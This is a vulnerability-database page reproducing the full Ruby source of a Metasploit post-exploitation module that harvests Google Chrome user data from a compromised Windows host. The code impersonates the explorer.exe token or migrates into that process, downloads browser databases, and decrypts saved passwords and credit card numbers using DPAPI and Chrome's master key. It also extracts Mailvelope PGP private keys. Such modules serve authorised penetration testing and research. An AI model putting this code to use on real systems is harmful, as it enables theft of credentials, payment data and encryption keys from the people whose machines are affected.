Lucene search
K

Windows Gather Google Chrome User Data Enumeration

🗓️ 03 Jan 2013 23:48:10Reported by Sven Taute, sinn3r <[email protected]>, Kx499, mubix <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 56 Views

Windows Gather Google Chrome User Data Enumeration module collects user data from Google Chrome and tries to decrypt sensitive information

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::Deprecated

  deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Google Chrome User Data Enumeration',
        'Description' => %q{
          This module will collect user data from Google Chrome and attempt to decrypt
          sensitive information.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => [
          'Sven Taute', # Original (Meterpreter script)
          'sinn3r',     # Metasploit post module
          'Kx499',      # x64 support
          'mubix'       # Parse extensions
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_close
              core_channel_eof
              core_channel_open
              core_channel_read
              core_migrate
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_config_getenv
              stdapi_sys_config_getsid
              stdapi_sys_config_getuid
              stdapi_sys_config_steal_token
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
      ]
    )
  end

  def extension_mailvelope_parse_key(data)
    return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n")
  end

  def extension_mailvelope_store_key(name, value)
    return unless name =~ /(private|public)keys/i

    priv_or_pub = Regexp.last_match(1)

    keys = value.split(',')
    print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
    keys.each do |key|
      key_data = extension_mailvelope_parse_key(key)
      vprint_good(key_data)
      path = store_loot(
        "chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key"
      )
      print_good("==> Saving #{priv_or_pub} key to: #{path}")
    end
  end

  def extension_mailvelope(username, extname)
    chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
    maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
    if file_exist?(maildb_path) == false
      print_error('==> Mailvelope database not found')
      return
    end
    print_status('==> Downloading Mailvelope database...')
    local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope')
    session.fs.file.download_file(local_path, maildb_path)
    print_good("==> Downloaded to #{local_path}")

    maildb = SQLite3::Database.new(local_path)
    columns, *rows = maildb.execute2('select * from ItemTable;')
    maildb.close

    rows.each do |name, value|
      extension_mailvelope_store_key(name, value)
    end
  end

  def parse_prefs(username, filepath)
    prefs = ''
    File.open(filepath, 'rb') do |f|
      prefs = f.read
    end
    results = ActiveSupport::JSON.decode(prefs)
    if results['extensions']['settings']
      print_status('Extensions installed: ')
      results['extensions']['settings'].each do |name, values|
        next unless values['manifest']

        print_status("=> #{values['manifest']['name']}")
        if values['manifest']['name'] =~ /mailvelope/i
          print_good('==> Found Mailvelope extension, extracting PGP keys')
          extension_mailvelope(username, name)
        end
      end
    end
  end

  def get_master_key(local_state_path)
    local_state_data = read_file(local_state_path)
    local_state = JSON.parse(local_state_data)
    master_key_base64 = local_state['os_crypt']['encrypted_key']
    master_key = Rex::Text.decode_base64(master_key_base64)
    master_key
  end

  def decrypt_data(data)
    mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']
    return nil if mem == 0

    session.railgun.memwrite(mem, data, data.length)

    if session.arch == ARCH_X86
      inout_fmt = 'V2'
    elsif session.arch == ARCH_X64
      inout_fmt = 'Q2'
    else
      fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.")
    end

    pdatain = [data.length, mem].pack(inout_fmt)
    ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)
    len, addr = ret['pDataOut'].unpack(inout_fmt)

    decrypted = len == 0 ? nil : session.railgun.memread(addr, len)

    multi_rail = []
    multi_rail << ['kernel32', 'LocalFree', [mem]]
    multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0
    session.railgun.multi(multi_rail)

    decrypted
  end

  def process_files(username)
    secrets = ''
    masterkey = nil
    decrypt_table = Rex::Text::Table.new(
      'Header' => 'Decrypted data',
      'Indent' => 1,
      'Columns' => ['Name', 'Decrypted Data', 'Origin']
    )

    @chrome_files.each do |item|
      if item[:in_file] == 'Preferences'
        parse_prefs(username, item[:raw_file])
      end

      next if item[:sql].nil?
      next if item[:raw_file].nil?

      db = SQLite3::Database.new(item[:raw_file])
      begin
        columns, *rows = db.execute2(item[:sql])
      rescue StandardError
        next
      end
      db.close

      rows.map! do |row|
        res = Hash[*columns.zip(row).flatten]
        next unless item[:encrypted_fields] && !session.sys.config.is_system?

        item[:encrypted_fields].each do |field|
          name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card']
          origin = res['label'].nil? ? res['origin_url'] : res['label']
          enc_data = res[field]

          if enc_data.start_with? 'v10'
            unless masterkey
              print_status('Found password encrypted with masterkey')
              local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'
              masterkey_encrypted = get_master_key(local_state_path)
              masterkey = decrypt_data(masterkey_encrypted[5..])
              print_good('Found masterkey!') if masterkey
            end

            cipher = OpenSSL::Cipher.new('aes-256-gcm')
            cipher.decrypt
            cipher.key = masterkey
            cipher.iv = enc_data[3..14]
            ciphertext = enc_data[15..-17]
            cipher.auth_tag = enc_data[-16..]
            pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final
          else
            pass = res[field + '_decrypted'] = decrypt_data(enc_data)
          end
          next unless !pass.nil? && (pass != '')

          decrypt_table << [name, pass, origin]
          secret = "url:#{origin} #{name}:#{pass}"
          secrets << secret << "\n"
          vprint_good("Decrypted data: #{secret}")
        end
      end
    end

    if secrets != ''
      path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data')
      print_good("Decrypted data saved in: #{path}")
    end
  end

  def extract_data(username)
    # Prepare Chrome's path on remote machine
    chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
    raw_files = {}

    @chrome_files.map { |e| e[:in_file] }.uniq.each do |f|
      remote_path = chrome_path + '\\' + f

      # Verify the path before downloading the file
      if file_exist?(remote_path) == false
        print_error("#{f} not found")
        next
      end

      # Store raw data
      local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}")
      raw_files[f] = local_path
      session.fs.file.download_file(local_path, remote_path)
      print_good("Downloaded #{f} to '#{local_path}'")
    end

    # Assign raw file paths to @chrome_files
    raw_files.each_pair do |raw_key, raw_path|
      @chrome_files.each do |item|
        if item[:in_file] == raw_key
          item[:raw_file] = raw_path
        end
      end
    end

    return true
  end

  def steal_token
    current_pid = session.sys.process.open.pid
    target_pid = session.sys.process['explorer.exe']
    return if target_pid == current_pid

    if target_pid.to_s.empty?
      print_warning('No explorer.exe process to impersonate.')
      return
    end

    print_status("Impersonating token: #{target_pid}")
    begin
      session.sys.config.steal_token(target_pid)
      return true
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Cannot impersonate: #{e.message}")
      return false
    end
  end

  def migrate(pid = nil)
    current_pid = session.sys.process.open.pid
    if !pid.nil? && (current_pid != pid)
      # PID is specified
      target_pid = pid
      print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
      begin
        session.core.migrate(target_pid)
      rescue ::Exception => e
        print_error(e.message)
        return false
      end
    else
      # No PID specified, assuming to migrate to explorer.exe
      target_pid = session.sys.process['explorer.exe']
      if target_pid != current_pid
        @old_pid = current_pid
        print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
        begin
          session.core.migrate(target_pid)
        rescue ::Exception => e
          print_error(e)
          return false
        end
      end
    end
    return true
  end

  def run
    @chrome_files = [
      { raw: '', in_file: 'Web Data', sql: 'select * from autofill;' },
      { raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' },
      { raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' },
      { raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] },
      { raw: '', in_file: 'Cookies', sql: 'select * from cookies;' },
      { raw: '', in_file: 'History', sql: 'select * from urls;' },
      { raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' },
      { raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' },
      { raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] },
      { raw: '', in_file: 'Bookmarks', sql: nil },
      { raw: '', in_file: 'Preferences', sql: nil },
    ]

    @old_pid = nil
    migrate_success = false

    # If we can impersonate a token, we use that first.
    # If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
    got_token = steal_token
    if !got_token && datastore['MIGRATE']
      migrate_success = migrate
    end

    host = session.session_host

    # Get Google Chrome user data path
    env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
    sysdrive = env_vars['SYSTEMDRIVE'].strip
    if directory?("#{sysdrive}\\Users")
      @profiles_path = "#{sysdrive}/Users"
      @data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\'
    elsif directory?("#{sysdrive}\\Documents and Settings")
      @profiles_path = "#{sysdrive}/Documents and Settings"
      @data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\'
    end

    # Get user(s)
    usernames = []
    if is_system?
      print_status('Running as SYSTEM, extracting user list...')
      print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")')
      session.fs.dir.foreach(@profiles_path) do |u|
        not_actually_users = [
          '.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini',
          'LocalService', 'NetworkService'
        ]
        usernames << u unless not_actually_users.include?(u)
      end
      print_status "Users found: #{usernames.join(', ')}"
    else
      uid = session.sys.config.getuid
      print_status "Running as user '#{uid}'..."
      usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']
    end

    has_sqlite3 = true
    begin
      require 'sqlite3'
    rescue LoadError
      print_warning('SQLite3 is not available, and we are not able to parse the database.')
      has_sqlite3 = false
    end

    # Process files for each username
    usernames.each do |u|
      print_status("Extracting data for user '#{u}'...")
      success = extract_data(u)
      process_files(u) if success && has_sqlite3
    end

    # Migrate back to the original process
    if datastore['MIGRATE'] && @old_pid && migrate_success
      print_status('Migrating back...')
      migrate(@old_pid)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Oct 2024 16:21Current
7High risk
Vulners AI Score7
56